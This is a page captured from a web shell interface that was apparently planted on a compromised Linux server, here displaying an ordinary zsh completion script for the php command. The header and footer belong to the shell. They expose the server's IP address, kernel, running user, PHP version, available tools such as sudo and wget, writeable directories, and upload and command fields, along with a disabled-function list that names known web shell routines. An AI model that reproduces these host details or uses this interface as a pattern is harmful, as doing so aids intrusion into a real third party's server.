403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.138.122.90
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/share/zsh/5.0.2/functions/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/share/zsh/5.0.2/functions/_php
#compdef php

# PHP 5.0.4  (cli)
# PHP 4.3.11 (cli)

local curcontext="$curcontext" line state expl
typeset -A opt_args

local -a args
local exclusions php_files=':PHP file:_files -g "*.php(-.)"'

if _pick_variant php5=PHP\ 5 php4 --version; then
  exclusions="-B --process-begin -R --process-code -F --process-file -E --process-end"
  args=(
    '(-B --process-begin -f --file -r --run 1)'{-B,--process-begin}'[run specified PHP code before processing input lines]:PHP code:'
    '(-R --process-code -F --process-file -f --file -r --run 1)'{-R,--process-code}'[run specified PHP code for every input line]:PHP code:'
    '(-F --process-file -R --process-code -f --file -r --run 1)'{-F,--process-file}'[parse and execute specified file for every input line]'$php_files
    '(-E --process-end -f --file -r --run 1)'{-E,--process-end}'[run specified PHP code after processing all input lines]:PHP code:'
    '(-H --hide-args)'{-H,--hide-args}'[hide any passed arguments from external tools]'
  )
fi

args+=(
  '(-a --interactive)'{-a,--interactive}'[run interactively]'
  '(-c --php-ini -n --no-php-ini)'{-c,--php-ini}'[look for php.ini file in the specified directory]:INI file or directory:_files -g "*.ini(-.)"'
  '(-c --php-ini -n --no-php-ini)'{-n,--no-php-ini}'[no php.ini file will be used]'
  '(-d --define)'{-d,--define}'[define INI entry]:configuration directive:->directive'
  '(-e --profile-info)'{-e,--profile-info}'[generate extended information for debugger/profiler]'
  "(-f --file -r --run $exclusions 1)"{-f,--file}'[parse specified file]'$php_files
  '(- 1 *)'{-h,--help}'[display help information]'
  '(- 1 *)'{-i,--info}'[PHP information]'
  '(-   *)'{-l,--syntax-check}'[syntax check only (lint)]'
  '(- 1 *)'{-m,--modules}'[show compiled in modules]'
  "(-r --run -f --file $exclusions -l --syntax-check -s --syntax-highlight -w --strip 1)"{-r,--run}'[run the specified PHP code without using script tags <?..?>]:PHP code:'
  '(- 1 *)'{-s,--syntax-highlight}'[display colour syntax highlighted source]'
  '(- 1 *)'{-v,--version}'[display version information]'
  '(-   *)'{-w,--strip}'[display source with stripped comments and whitespace]'
  '(-z --zend-extension)'{-z,--zend-extension}'[load specified Zend extension]:extension file:->extension'
  '(-)1'$php_files
  '(-)*::script argument: _normal'
)

_arguments -C -s -S -A "-*" "$args[@]" && return 0

case $state in
  directive)
    local -a directives suf
    local code='foreach (ini_get_all() as $k => $v) { echo "$k\n"; }'
    directives=( $(_call_program directives $words[1] -r ${(q)code} 2>/dev/null) )
    if compset -P '*='; then
      _default && return 0
    else
      compset -S '=*' || suf=( -qS '=' )
      _wanted directives expl 'configuration directive' compadd "$suf[@]" -a directives && return 0
    fi
  ;;
  extension)
    local -a paths
    if [[ -r /etc/ld.so.conf ]]; then
      paths=( ${(f)"$(</etc/ld.so.conf)"} )
    else
      paths=(.)
    fi
    _wanted extensions expl 'zend extension' _files -W paths -g "*.so(|.*)(-.)" && return 0
  ;;
esac

return 1

Youez - 2016 - github.com/yon3zu
LinuXploit